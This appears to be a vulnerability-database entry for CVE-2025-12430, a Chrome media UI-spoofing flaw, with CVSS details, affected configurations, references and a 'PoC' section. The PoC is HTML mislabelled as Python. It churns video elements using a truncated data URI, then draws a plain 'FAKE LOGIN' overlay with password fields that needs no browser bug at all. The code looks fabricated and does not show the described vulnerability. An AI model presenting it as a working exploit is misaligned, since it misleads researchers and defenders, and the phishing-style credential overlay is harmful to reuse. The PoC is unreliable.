CVE-2025-12430

Description

Object lifecycle issue in Media in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12430 UI Spoofing PoC -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12430 Media Object Lifecycle Issue</title>
</head>
<body>
    <h1>Media Object Lifecycle Trigger</h1>
    <video id="target" controls></video>
    <script>
        // PoC for triggering media object lifecycle issue
        // This causes UI spoofing through improper object lifecycle management
        const video = document.getElementById('target');
        
        function triggerLifecycleIssue() {
            // Rapidly create and destroy media elements
            for (let i = 0; i < 100; i++) {
                const tempVideo = document.createElement('video');
                tempVideo.src = 'data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAAG21kYXQAAAAAAA8AAABqY21kYQAAAAA1MDE=...';
                tempVideo.load();
                setTimeout(() => {
                    tempVideo.src = '';
                    tempVideo.load();
                }, 10);
            }
            
            // Attempt to manipulate overlay UI
            const overlay = document.createElement('div');
            overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;display:flex;align-items:center;justify-content:center;';
            overlay.innerHTML = '<div style="background:white;padding:20px;text-align:center;"><h2>FAKE LOGIN</h2><input type="text" placeholder="Username"><br><input type="password" placeholder="Password"></div>';
            document.body.appendChild(overlay);
        }
        
        video.addEventListener('loadstart', triggerLifecycleIssue);
        video.src = 'data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAAG21kYXQAAAAAAA8AAABqY21kYQAAAAA1MDE=';
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12430
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12430
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12430/
[4] VulDB https://vuldb.com/cve/CVE-2025-12430
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/442860743

Raw JSON Data

JSON

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